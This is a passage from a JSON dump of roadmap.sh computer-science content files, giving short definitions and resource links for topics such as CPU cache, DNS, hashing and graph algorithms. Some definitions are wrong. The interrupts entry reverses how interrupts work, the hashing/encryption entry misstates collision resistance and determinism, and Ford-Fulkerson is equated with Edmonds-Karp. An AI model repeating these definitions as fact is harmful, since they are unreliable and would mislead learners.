    "content": "# CPU Cache\n\nA CPU cache is a hardware cache used by the central processing unit of a computer to reduce the average cost to access data from the main memory. A cache is a smaller, faster memory, located closer to a processor core, which stores copies of the data from frequently used main memory locations.\n\nVisit the following resources to learn more:\n\n- [@article@What is CPU Cache](https://www.howtogeek.com/854138/what-is-cpu-cache/)\n- [@video@MIT 6.004 L15: The Memory Hierarchy](https://www.youtube.com/watch?v=vjYF_fAZI5E&list=PLrRW1w6CGAcXbMtDFj205vALOGmiRc82-&index=24)\n- [@video@MIT 6.004 L16: Cache Issues](https://www.youtube.com/watch?v=ajgC3-pyGlk&index=25&list=PLrRW1w6CGAcXbMtDFj205vALOGmiRc82-)\n- [@feed@Explore top posts about Computing](https://app.daily.dev/tags/computing?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/cpu-interrupts@cpQvB0qMDL3-NWret7oeA.md",
    "content": "# CPU Interrupts\n\nCPU Interrupts are a way for the CPU to communicate with the rest of the computer. They are a way for the CPU to tell the rest of the computer that it needs to do something. For example, if the CPU is running a program and it needs to read from the keyboard, it will send an interrupt to the keyboard to tell it to send the data to the CPU. The CPU will then wait for the keyboard to send the data and then continue running the program.\n\nVisit the following resources to learn more:\n\n- [@article@System Interrupts 100% CPU](https://www.wikihow.com/System-Interrupts-100-Cpu)\n- [@video@Interrupts](https://youtu.be/iKlAWIKEyuw)\n- [@feed@Explore top posts about Computing](https://app.daily.dev/tags/computing?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/data-structures@NM7q5REW1sJgMhxJhPpLT.md",
    "content": "# Data Structures\n\nAs the name indicates itself, a **Data Structure** is a way of organizing the data in the **memory** so that it can be used efficiently. Some common data structures are array, linked list, stack, hashtable, queue, tree, heap, and graph.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated DSA Roadmap](https://roadmap.sh/datastructures-and-algorithms)\n- [@course@Data Structures and Algorithms By Google](https://techdevguide.withgoogle.com/paths/data-structures-and-algorithms/)\n- [@video@Data Structures Illustrated](https://www.youtube.com/watch?v=9rhT3P1MDHk&list=PLkZYeFmDuaN2-KUIv-mvbjfKszIGJ4FaY)\n- [@video@Data Structures playlist](https://youtube.com/playlist?list=PLDV1Zeh2NRsB6SWUrDFW2RmDotAfPbeHu&si=_EEf7x58G6lUcMGG)\n- [@feed@Explore top posts about Data Structures](https://app.daily.dev/tags/data-structures?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/database-federation@3r21avMlo0xFB9i7PHccX.md",
    "content": "# Database Federation\n\nFederation (or functional partitioning) splits up databases by function. The federation architecture makes several distinct physical databases appear as one logical database to end-users.\n\nVisit the following resources to learn more:\n\n- [@article@Database Federation](https://dev.to/karanpratapsingh/system-design-the-complete-course-10fo#database-federation)\n- [@feed@Explore top posts about Database](https://app.daily.dev/tags/database?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/databases@zvlTQ0A-My4QDrslp_lru.md",
    "content": "# Databases\n\nA database is a collection of useful data of one or more related organizations structured in a way to make data an asset to the organization. A database management system is a software designed to assist in maintaining and extracting large collections of data in a timely fashion.\n\nVisit the following resources to learn more:\n\n- [@article@What is a Database?](https://www.oracle.com/database/what-is-database/)\n- [@article@What are Databases?](https://www.prisma.io/dataguide/intro/what-are-databases)\n- [@video@DBMS by Stanford](https://www.youtube.com/watch?v=D-k-h0GuFmE&list=PL9ysvtVnryGpnIj9rcIqNDxakUn6v72Hm)\n- [@feed@Explore top posts about Backend Development](https://app.daily.dev/tags/backend?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/dcl@4bUmfuP2qgcli8I2Vm9zh.md",
    "content": "# DCL (Data Control Language)\n\nDCL includes commands such as GRANT and REVOKE which mainly deal with the rights, permissions, and other controls of the database system.\n\nVisit the following resources to learn more:\n\n- [@article@DCL](https://en.wikipedia.org/wiki/Data_Control_Language)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/ddl@ii1vF74u3yrFNlw_21b3B.md",
    "content": "# DDL (Data Definition Language)\n\nDDL or Data Definition Language actually consists of the SQL commands that can be used to define the database schema. It simply deals with descriptions of the database schema and is used to create and modify the structure of database objects in the database. DDL is a set of SQL commands used to create, modify, and delete database structures but not data. These commands are normally not used by a general user, who should be accessing the database via an application.\n\nVisit the following resources to learn more:\n\n- [@article@DDL](https://en.wikipedia.org/wiki/Data_definition_language)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/dependency-injection@J7DKRklMtJ94Y-18Jo50r.md",
    "content": "# Dependency Injection\n\nDependency injection is a software design pattern that allows us to decouple the dependencies of a class from the class itself. This allows us to write more flexible and testable code.\n\nVisit the following resources to learn more:\n\n- [@article@Dependency Injection - StackOverflow](https://stackoverflow.com/questions/130794/what-is-dependency-injection)\n- [@video@What is Dependency Injection?](https://www.youtube.com/watch?v=0yc2UANSDiw)\n- [@feed@Explore top posts about Dependency Injection](https://app.daily.dev/tags/dependency-injection?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/depth-first-search@Yf5gOIe7oiL19MjEVcpdw.md",
    "content": "# Depth First Search\n\nDepth first search is a graph traversal algorithm that starts at a root node and explores as far as possible along each branch before backtracking.\n\nVisit the following resources to learn more:\n\n- [@article@Depth-first Search](https://en.wikipedia.org/wiki/Depth-first_search)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/depth-first-search@chzP5_t2gMi6MstxEzCi5.md",
    "content": "# Depth First Search\n\nDepth first search is a graph traversal algorithm that starts at a root node and explores as far as possible along each branch before backtracking.\n\nVisit the following resources to learn more:\n\n- [@article@Breadth-First Search (BFS) and Depth-First Search (DFS) for Binary Trees in Java](https://www.digitalocean.com/community/tutorials/breadth-first-search-depth-first-search-bfs-dfs)\n- [@video@BFS and DFS in a Binary Tree](https://www.youtube.com/watch?v=uWL6FJhq5fM)\n- [@video@Depth First Search in 4 Minutes](https://www.youtube.com/watch?v=Urx87-NMm6c)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/design-patterns@-De1hU2ONGwhQmUpsyrCO.md",
    "content": "# Design Patterns\n\nDesign patterns are solutions to common problems in software design. They are formalized best practices that the programmer can use to solve common problems when designing an application or system.\n\nVisit the following resources to learn more:\n\n- [@opensource@Design Patterns for Humans](https://github.com/kamranahmedse/design-patterns-for-humans)\n- [@article@Design Patterns](https://en.wikipedia.org/wiki/Software_design_pattern)\n- [@article@Refactoring Guru - Design Patterns](https://refactoring.guru/design-patterns/)\n- [@feed@Explore top posts about Design Patterns](https://app.daily.dev/tags/design-patterns?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/dijkstras-algorithm@l3X9UrEYTWs5kBXI1NNCf.md",
    "content": "# Dijkstra's Algorithm\n\nDijkstra's algorithm is a greedy algorithm that finds the shortest path between two nodes in a graph. It is a very common algorithm used in computer science and is used in many applications such as GPS navigation, network routing, and finding the shortest path in a maze.\n\nVisit the following resources to learn more:\n\n- [@video@Dijkstras Algorithm in 3 Minutes](https://www.youtube.com/watch?v=_lHSawdgXpI)\n- [@video@Dijkstras Algorithm - MIT](https://www.youtube.com/watch?v=NSHizBK9JD8&t=1731s&ab_channel=MITOpenCourseWare)\n- [@video@Speeding Up Dijkstras Algorithm - MIT](https://www.youtube.com/watch?v=CHvQ3q_gJ7E&list=PLUl4u3cNGP61Oq3tWYp6V_F-5jb5L2iHb&index=18)\n- [@feed@Explore top posts about Data Science](https://app.daily.dev/tags/data-science?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/dijkstras-algorithm@oJstm-8c-4seWbIWcNgDv.md",
    "content": "# Dijkstra's Algorithm\n\nDijkstra's algorithm is a graph traversal algorithm that finds the shortest path between two nodes in a graph. It is a weighted graph algorithm, meaning that each edge in the graph has a weight associated with it. The algorithm works by finding the shortest path from the starting node to all other nodes in the graph. It does this by keeping track of the distance from the starting node to each node, and then choosing the node with the shortest distance from the starting node to visit next. It then updates the distance of each node from the starting node, and repeats the process until all nodes have been visited.\n\nVisit the following resources to learn more:\n\n- [@video@Dijkstras Algorithm - MIT](https://www.youtube.com/watch?v=NSHizBK9JD8&t=1731s&ab_channel=MITOpenCourseWare)\n- [@video@Dijkstras Algorithm in 3 Minutes](https://www.youtube.com/watch?v=_lHSawdgXpI)\n- [@feed@Explore top posts about Data Science](https://app.daily.dev/tags/data-science?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/directed-graph@6Jy8SXHuYA08h9iLjKFWR.md",
    "content": "# Directed Graph\n\nA directed graph is graph, i.e., a set of objects (called vertices or nodes) that are connected together, where all the edges are directed from one vertex to another. A directed graph is sometimes called a digraph or a directed network. In contrast, a graph where the edges are bidirectional is called an undirected graph.\n\nVisit the following resources to learn more:\n\n- [@article@Directed Graph](https://en.wikipedia.org/wiki/Directed_graph)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/dml@tcQSH-eAvJUZuePTDjAIb.md",
    "content": "# DML (Data Manipulation Language)\n\nThe SQL commands that manipulate data in the database belong to DML, or Data Manipulation Language, and this includes most of the SQL statements. DCL is the component of the SQL statement that controls access to data and to the database. Basically, DCL statements are grouped with DML statements.\n\nVisit the following resources to learn more:\n\n- [@article@DML: Data Manipulation Language](https://satoricyber.com/glossary/dml-data-manipulation-language)\n- [@article@Difference Between DDL and DML](https://appmaster.io/blog/difference-between-ddl-and-dml)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/dns@fYjoXB4rnkM5gg46sqVz5.md",
    "content": "# DNS\n\nThe Domain Name System (DNS) is the phonebook of the Internet. Humans access information online through domain names, like [nytimes.com](http://nytimes.com) or [espn.com](http://espn.com). Web browsers interact through Internet Protocol (IP) addresses. DNS translates domain names to IP addresses so browsers can load Internet resources.\n\nVisit the following resources to learn more:\n\n- [@article@What is DNS?](https://www.cloudflare.com/en-gb/learning/dns/what-is-dns/)\n- [@article@How DNS works (comic)](https://howdns.works/)\n- [@video@DNS and How does it Work?](https://www.youtube.com/watch?v=Wj0od2ag5sk)\n- [@video@DNS Records](https://www.youtube.com/watch?v=7lxgpKh_fRY)\n- [@video@Complete DNS mini-series](https://www.youtube.com/watch?v=zEmUuNFBgN8&list=PLTk5ZYSbd9MhMmOiPhfRJNW7bhxHo4q-K)\n- [@feed@Explore top posts about DNS](https://app.daily.dev/tags/dns?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/dql@05lkb3B86Won7Rkf-8DeD.md",
    "content": "# DQL (Data Query Language)\n\nDQL statements are used for performing queries on the data within schema objects. The purpose of the DQL Command is to get some schema relation based on the query passed to it. We can define DQL as follows it is a component of SQL statement that allows getting data from the database and imposing order upon it. It includes the SELECT statement. This command allows getting the data out of the database to perform operations with it. When a SELECT is fired against a table or tables the result is compiled into a further temporary table, which is displayed or perhaps received by the program i.e. a front-end.\n\nVisit the following resources to learn more:\n\n- [@article@Data Query Language](https://en.wikipedia.org/wiki/Data_query_language)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/endianess@vjMqqFsTxSjaiYxmliwLi.md",
    "content": "# Endianness\n\nEndianness is the order in which bytes are stored in memory. The two most common types of endianness are big endian and little endian. Big endian stores the most significant byte first, while little endian stores the least significant byte first.\n\nVisit the following resources to learn more:\n\n- [@article@Endianness](https://developer.mozilla.org/en-US/docs/Glossary/Endianness)\n- [@article@Big-Endian vs Little-Endian Explained with Examples](https://www.freecodecamp.org/news/what-is-endianness-big-endian-vs-little-endian/)\n- [@video@Big Endian vs Little Endian.mp4](https://www.youtube.com/watch?v=JrNF0KRAlyo)\n- [@video@Endianness Explained With an Egg - Computerphile](https://www.youtube.com/watch?v=NcaiHcBvDR4)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/entity-relationship-model@XnxxEmr2TyW2kOpB4gtR5.md",
    "content": "# Entity Relationship Model\n\nEntity relationship model is a high-level data model that describes the logical structure of a database. It is a graphical representation of entities and their relationships to each other, typically used in modeling the organization of data within databases or information systems.\n\nVisit the following resources to learn more:\n\n- [@video@Entity Relationship Diagram (ERD) Tutorial - Part 1](https://www.youtube.com/watch?v=QpdhBUYk7Kk)\n- [@video@Entity Relationship Diagram (ERD) Tutorial - Part 2](https://www.youtube.com/watch?v=-CuY5ADwn24)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/exponential@5mMLr6tWbiSZuox1lx0_B.md",
    "content": "# Exponential\n\nExponential algorithms are those that grow at a rate of 2^n. This means that for each additional input, the algorithm will take twice as long to run. The following function is an example of an exponential algorithm:\n\n    def exponential(n):\n        if n == 0:\n            return 1\n        return exponential(n - 1) + exponential(n - 1)\n    \n\nAs you can see, the algorithm's runtime grows exponentially. For each additional input, the algorithm will take twice as long to run.\n\nVisit the following resources to learn more:\n\n- [@video@Big O Notation — Calculating Time Complexity](https://www.youtube.com/watch?v=Z0bH0cMY0E8)\n- [@video@Big O Notations](https://www.youtube.com/watch?v=V6mKVRU1evU)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/factorial@m0umGQNdvg95UiNpQZsQN.md",
    "content": "# Factorial\n\nFactorial complexity algorithms have a runtime of `O(n!)`. This is the worst case scenario for an algorithm. Factorial complexity algorithms are very inefficient and should be avoided.\n\n    def generate_permutations(s):\n        # Base case: If the string length is 1, return a list containing the string\n        if len(s) == 1:\n            return [s]\n    \n        # Initialize the result list\n        permutations = []\n    \n        # Recursively generate all permutations\n        for i in range(len(s)):\n            # Current character\n            current_char = s[i]\n            # Remaining characters\n            remaining_chars = s[:i] + s[i + 1 :]\n            # Generate all permutations of the remaining characters\n            for perm in generate_permutations(remaining_chars):\n                # Add the current character to the front of each generated permutation\n                permutations.append(current_char + perm)\n    \n        return permutations\n\nVisit the following resources to learn more:\n\n- [@article@Big O Cheat Sheet - Time Complexity Chart](https://www.freecodecamp.org/news/big-o-cheat-sheet-time-complexity-chart/)\n- [@video@Factorial Explained](https://www.youtube.com/watch?v=pxh__ugRKz8)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/finding-hamiltonian-paths@aBjBHpq_OajgQjxdCobXD.md",
    "content": "# Finding Hamiltonian Paths\n\nHamiltonian paths are paths that visit every node in a graph exactly once. They are named after the famous mathematician Hamilton. Hamiltonian paths are a special case of Hamiltonian cycles, which are cycles that visit every node in a graph exactly once.\n\nVisit the following resources to learn more:\n\n- [@article@Hamiltonian Cycles](https://en.wikipedia.org/wiki/Hamiltonian_cycle)\n- [@article@Hamiltonian Path](https://www.hackerearth.com/practice/algorithms/graphs/hamiltonian-path/tutorial/)\n- [@article@Hamiltonian Paths and Cycles](https://medium.com/stamatics-iit-kanpur/hamiltonian-paths-and-cycles-4f233bfbc53a)\n- [@article@Hamiltonian Paths - Lecture 7](https://people.csail.mit.edu/virgi/6.s078/lecture17.pdf)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/floating-point-math@-bawIWfrYuAxy8cP-AGFS.md",
    "content": "# Floating Point Numbers\n\nFloating point numbers are numbers that have a decimal point in them. They are used to represent real numbers. For example, 3.14 is a floating point number. 3 is not a floating point number because it does not have a decimal point in it.\n\nVisit the following resources to learn more:\n\n- [@video@Representation of Floating Point Numbers - 1](https://www.youtube.com/watch?v=ji3SfClm8TU)\n- [@video@Why 0.1 + 0.2 != 0.3? | Floating Point Math](https://www.youtube.com/watch?v=RIiq4tTt6rI)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/ford-fulkerson-algorithm@Hqw2eGtgfbVggqXBnIOdI.md",
    "content": "# Ford Fulkerson Algorithm\n\nFord Fulkerson Algorithm is a greedy algorithm that is used to find the maximum flow in a flow network. It is also known as the Edmonds-Karp Algorithm.\n\nVisit the following resources to learn more:\n\n- [@article@Ford-Fulkerson Algorithm](https://www.programiz.com/dsa/ford-fulkerson-algorithm)\n- [@video@Ford-Fulkerson in 5 minutes](https://www.youtube.com/watch?v=Tl90tNtKvxs)\n- [@feed@Explore top posts about Data Science](https://app.daily.dev/tags/data-science?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/full-binary-tree@Q8ZJNeTbc22Q08Mra-McY.md",
    "content": "# Full Binary Tree\n\nA full Binary tree is a special type of binary tree in which every parent node/internal node has either two or no children. It is also known as a proper binary tree.\n\nVisit the following resources to learn more:\n\n- [@article@Full Binary Tree](https://www.programiz.com/dsa/full-binary-tree)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/go@mWW88VnkqWgDz02qw5zU-.md",
    "content": "# Go\n\nGo is an open source programming language supported by Google. Go can be used to write cloud services, CLI tools, used for API development, and much more.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Go Roadmap](https://roadmap.sh/golang)\n- [@official@A Tour of Go – Go Basics](https://go.dev/tour/welcome/1)\n- [@official@Go Reference Documentation](https://go.dev/doc/)\n- [@article@Go by Example - annotated example programs](https://gobyexample.com/)\n- [@article@Making a RESTful JSON API in Go](https://thenewstack.io/make-a-restful-json-api-go/)\n- [@article@Go, the Programming Language of the Cloud](https://thenewstack.io/go-the-programming-language-of-the-cloud/)\n- [@feed@Explore top posts about Golang](https://app.daily.dev/tags/golang?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/gof-design-patterns@iPN9mSyFwYZER5HSkj6oL.md",
    "content": "# GoF Design Patterns\n\nGang of Four (GoF) design patterns are a set of 23 design patterns that were first described in the book \"Design Patterns: Elements of Reusable Object-Oriented Software\" by Erich Gamma, Richard Helm, Ralph Johnson, and John Vlissides. The book is commonly referred to as the \"Gang of Four book\".\n\nVisit the following resources to learn more:\n\n- [@opensource@Design Patterns for Humans](https://github.com/kamranahmedse/design-patterns-for-humans)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/graph@vQm046o6ozcvLoqg9L6eL.md",
    "content": "# Graph\n\nGraphs in data structures are non-linear data structures made up of a finite number of nodes or vertices and the edges that connect them. Graphs in data structures are used to address real-world problems in which it represents the problem area as a network like telephone networks, circuit networks, and social networks.\n\nVisit the following resources to learn more:\n\n- [@article@Graph Data Structure](https://www.simplilearn.com/tutorials/data-structure-tutorial/graphs-in-data-structure)\n- [@video@Graph Data Structure | Illustrated Data Structures](https://www.youtube.com/watch?v=0sQE8zKhad0)\n- [@video@CSE373 2020 - Lecture 10 - Graph Data Structures](https://www.youtube.com/watch?v=Sjk0xqWWPCc&list=PLOtl7M3yp-DX6ic0HGT0PUX_wiNmkWkXx&index=10)\n- [@video@CSE373 2020 - Lecture 11 - Graph Traversal](https://www.youtube.com/watch?v=ZTwjXj81NVY&list=PLOtl7M3yp-DX6ic0HGT0PUX_wiNmkWkXx&index=11)\n- [@video@CSE373 2020 - Lecture 12 - Depth First Search](https://www.youtube.com/watch?v=KyordYB3BOs&list=PLOtl7M3yp-DX6ic0HGT0PUX_wiNmkWkXx&index=12)\n- [@video@CSE373 2020 - Lecture 13 - Minimum Spanning Trees](https://www.youtube.com/watch?v=oolm2VnJUKw&list=PLOtl7M3yp-DX6ic0HGT0PUX_wiNmkWkXx&index=13)\n- [@video@CSE373 2020 - Lecture 14 - Minimum Spanning Trees (cont)](https://www.youtube.com/watch?v=RktgPx0MarY&list=PLOtl7M3yp-DX6ic0HGT0PUX_wiNmkWkXx&index=14)\n- [@video@CSE373 2020 - Lecture 15 - Graph Algorithms (cont 2)](https://www.youtube.com/watch?v=MUe5DXRhyAo&list=PLOtl7M3yp-DX6ic0HGT0PUX_wiNmkWkXx&index=15)\n- [@video@6.006 Single-Source Shortest Paths Problem](https://www.youtube.com/watch?v=Aa2sqUhIn-E&index=15&list=PLUl4u3cNGP61Oq3tWYp6V_F-5jb5L2iHb)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/graphql@DeE_dZecLmKCjePovTfFS.md",
    "content": "# GraphQL\n\nGraphQL is a query language for APIs and a runtime for fulfilling those queries with your existing data. GraphQL provides a complete and understandable description of the data in your API, gives clients the power to ask for exactly what they need and nothing more, makes it easier to evolve APIs over time, and enables powerful developer tools.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated GraphQL Roadmap](https://roadmap.sh/graphql)\n- [@official@GraphQL](https://graphql.org/)\n- [@official@GraphQL Documentation](https://graphql.org/learn/)\n- [@article@Apollo GraphQL Tutorials](https://www.apollographql.com/tutorials/)\n- [@feed@Explore top posts about GraphQL](https://app.daily.dev/tags/graphql?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/grpc@M4vdwAbjLPrLjWUsG_P1I.md",
    "content": "# gRPC\n\ngRPC is a platform agnostic serialization protocol that is used to communicate between services. Designed by Google in 2015, it is a modern alternative to REST APIs. It is a binary protocol that uses HTTP/2 as a transport layer. It is a high performance, open source, general-purpose RPC framework that puts mobile and HTTP/2 first.\n\nIt's main use case is for communication between two different languages within the same application. You can use Python to communicate with Go, or Java to communicate with C#.\n\ngRPC uses the protocol buffer language to define the structure of the data that is\n\nVisit the following resources to learn more:\n\n- [@official@gRPC Website](https://grpc.io/)\n- [@official@gRPC Introduction](https://grpc.io/docs/what-is-grpc/introduction/)\n- [@official@gRPC Core Concepts](https://grpc.io/docs/what-is-grpc/core-concepts/)\n- [@video@Stephane Maarek - gRPC Introduction](https://youtu.be/XRXTsQwyZSU)\n- [@feed@Explore top posts about gRPC](https://app.daily.dev/tags/grpc?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/hash-table@G2dN2FO0SN_I-5AhO_EUk.md",
    "content": "# Hash Table\n\nHash Table, Map, HashMap, Dictionary or Associative are all the names of the same data structure. It is one of the most commonly used data structures.\n\nVisit the following resources to learn more:\n\n- [@article@Hash Tables - Princeton University](https://algs4.cs.princeton.edu/34hash/)\n- [@video@Hash Table | Illustrated Data Structures](https://www.youtube.com/watch?v=jalSiaIi8j4)\n- [@video@Hash Table in 4 Minutes](https://youtu.be/knV86FlSXJ8)\n- [@video@Hashing with Chaining](https://www.youtube.com/watch?v=0M_kIqhwbFo&list=PLUl4u3cNGP61Oq3tWYp6V_F-5jb5L2iHb&index=9)\n- [@video@(Advanced) Randomization: Universal & Perfect Hashing](https://www.youtube.com/watch?v=z0lJ2k0sl1g&list=PLUl4u3cNGP6317WaSNfmCvGym2ucw3oGp&index=11)\n- [@video@(Advanced) Perfect hashing](https://www.youtube.com/watch?v=N0COwN14gt0&list=PL2B4EEwhKD-NbwZ4ezj7gyc_3yNrojKM9&index=4)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/hashing--encryption--encoding@7r7o8pYhFHVAJIv0wNT6X.md",
    "content": "# Hashing/Encryption/Encoding\n\nHashing is a one-way function that takes an input and produces a fixed-length output. The output is called a hash. The hash is a unique representation of the input. The hash is deterministic, meaning that the same input will always produce the same hash. The hash is irreversible, meaning that it is impossible to go from the hash back to the original input. The hash is not collision-resistant, meaning that it is possible to find two different inputs that produce the same hash.\n\nEncryption is a two-way function that takes an input and produces an output. The output is called ciphertext. The ciphertext is a unique representation of the input. The ciphertext is deterministic, meaning that the same input will always produce the same ciphertext. The ciphertext is reversible, meaning that it is possible to go from the ciphertext back to the original input. The ciphertext is collision-resistant, meaning that it is impossible to find two different inputs that produce the same ciphertext.\n\nEncoding is a two-way function that takes an input and produces an output. The output is called encoded text. The encoded text is a unique representation of the input. The encoded text is deterministic, meaning that the same input will always produce the same encoded text. The encoded text is reversible, meaning that it is possible to go from the encoded text back to the original input. The encoded text is collision-resistant, meaning that it is impossible to find two different inputs that produce the same encoded text.\n\nVisit the following resources to learn more:\n\n- [@video@Encoding, Encryption and Hashing -- Whats the Difference?](https://www.youtube.com/watch?v=-bAnBzvMLig)\n- [@feed@Explore top posts about Encryption](https://app.daily.dev/tags/encryption?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/hashing-algorithms@EX_e4B6G07zTb4JjJ7482.md",
    "content": "# Hashing Algorithms\n\nHashing algorithms are used to generate a unique value for a given input. This value is called a hash. Hashing algorithms are used to verify the integrity of data, to store passwords, and to generate unique identifiers for data.\n\nVisit the following resources to learn more:\n\n- [@article@Hashing Algorithm Overview:](https://www.okta.com/identity-101/hashing-algorithms/)\n- [@video@Hashing Algorithms and Security - Computerphile](https://www.youtube.com/watch?v=b4b8ktEV4Bg)\n- [@video@Top Hashing Algorithms In Cryptography | MD5 and SHA 256 Algorithms Expalined | Simplilearn](https://www.youtube.com/watch?v=Plp4F3ZfC7A)\n- [@video@SHA: Secure Hashing Algorithm - Computerphile](https://www.youtube.com/watch?v=DMtFhACPnTY)\n- [@feed@Explore top posts about Algorithms](https://app.daily.dev/tags/algorithms?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/heap-sort@CovrRsBY-sYW_xSegcN6N.md",
    "content": "# Heap Sort\n\nHeap sort is a comparison based sorting algorithm. It is similar to selection sort where we first find the maximum element and place the maximum element at the end. We repeat the same process for remaining element.\n\nVisit the following resources to learn more:\n\n- [@course@Heap Sort Algorithm](https://www.coursera.org/lecture/data-structures/heap-sort-hSzMO)\n- [@article@Heap Sort Algorithm](https://www.programiz.com/dsa/heap-sort)\n- [@video@Heap Sort in 4 Minutes](https://www.youtube.com/watch?v=2DmK_H7IdTo)\n- [@video@Heap Sort Algorithm - MIT](https://www.youtube.com/watch?v=odNJmw5TOEE&list=PLFDnELG9dpVxQCxuD-9BSy2E7BWY3t5Sm&t=3291s)\n- [@video@Lecture 4 - Heaps and Heap Sort](https://www.youtube.com/watch?v=B7hVxCmfPtM&list=PLUl4u3cNGP61Oq3tWYp6V_F-5jb5L2iHb&index=5)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/heap@pw3ZCC3HKU7D5SQwte4vE.md",
    "content": "# Heap\n\nHeap is a tree-based data structure that follows the properties of a complete binary tree and is either a Min Heap or a Max Heap.\n\nVisit the following resources to learn more:\n\n- [@course@Priority Queue - Introduction](https://www.coursera.org/lecture/data-structures/introduction-2OpTs)\n- [@article@Heap Data Structure](https://www.programiz.com/dsa/heap-data-structure)\n- [@article@CS 61B Lecture 24: Priority Queues](https://archive.org/details/ucberkeley_webcast_yIUFT6AKBGE)\n- [@video@Heap | Illustrated Data Structures](https://www.youtube.com/watch?v=F_r0sJ1RqWk)\n- [@video@Heaps and Heap Sort](https://www.youtube.com/watch?v=B7hVxCmfPtM&list=PLUl4u3cNGP61Oq3tWYp6V_F-5jb5L2iHb&index=5)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/horizontal-vs-vertical-scaling@-34WGppX6QC5fkCvfCghp.md",
    "content": "# Horizontal vs Vertical Scaling\n\nHorizontal scaling is the process of adding more machines to your system. This is also known as scaling out. Vertical scaling is the process of adding more power to a single machine. This is also known as scaling up.\n\nVisit the following resources to learn more:\n\n- [@article@Scaling Horizontally vs. Scaling Vertically](https://www.digitalocean.com/resources/article/horizontal-scaling-vs-vertical-scaling)\n- [@video@System Design Basics: Horizontal vs. Vertical Scaling](https://www.youtube.com/watch?v=xpDnVSmNFX0)\n- [@video@Vertical vs. Horizontal Scaling for Database Servers](https://www.youtube.com/watch?v=R99R-SNbo9g)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/how-computers-calculate@GDLKJkKgB-i7n0YcV2NDa.md",
    "content": "# How Computers Calculate?\n\nComputers calculate using the binary system, where all data is represented as 0s and 1s. These binary states correspond to the ON/OFF positions of transistors, which are the building blocks of logic gates (AND, OR, NOT). Numbers, characters, and instructions are broken into binary sequences (bits), and grouped into bytes (8 bits). Arithmetic operations like addition are performed through logic gates, which combine binary values. The CPU executes these calculations by following a fetch-decode-execute cycle. Complex calculations, such as handling decimals, use floating-point representation. Programs written in high-level languages are compiled into machine code for the CPU to execute.\n\nVisit the following resources to learn more:\n\n- [@article@How Does A Computer Calculate Numbers?](https://www.sciencing.com/computer-calculate-numbers-4705975/)\n- [@video@How Computers Calculate - ALU](https://youtu.be/1I5ZMmrOfnA)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/how-computers-work@-emdKpD5uRNuvem5rbFXJ.md",
    "content": "# How Computers Work?\n\nComputers are everywhere. They are in our phones, our cars, our homes, and even in our pockets. But how do they actually work? How do they take in information, and how do they output information?\n\nVisit the following resources to learn more:\n\n- [@video@How CPU Executes A Program](https://www.youtube.com/watch?v=XM4lGflQFvA)\n- [@video@How Computers Calculate - ALU](https://youtu.be/1I5ZMmrOfnA)\n- [@video@Registers and RAM](https://youtu.be/fpnE6UAfbtU)\n- [@video@The Central Processing Unit (CPU)](https://youtu.be/FZGugFqdr60)\n- [@video@Instructions and Programs](https://youtu.be/zltgXvg6r3k)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/how-cpu-executes-programs@1eglba39q426Nh0E0qcdj.md",
    "content": "# How CPU Executes Programs?\n\nThe CPU executes programs by repeatedly fetching instructions from memory, decoding them to understand the operation, and then executing those operations. This cycle, called the fetch-decode-execute cycle, continues for each instruction in the program, with the CPU using registers for temporary storage and a program counter to keep track of the next instruction. Modern CPUs use techniques like pipelining and caches to speed up this process, enabling them to execute complex programs efficiently.\n\nVisit the following resources to learn more:\n\n- [@video@How CPU Executes a Program](https://www.youtube.com/watch?v=XM4lGflQFvA)\n- [@feed@Explore top posts about Computing](https://app.daily.dev/tags/computing?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/http@2tUwl-br-SRuwADSzmQag.md",
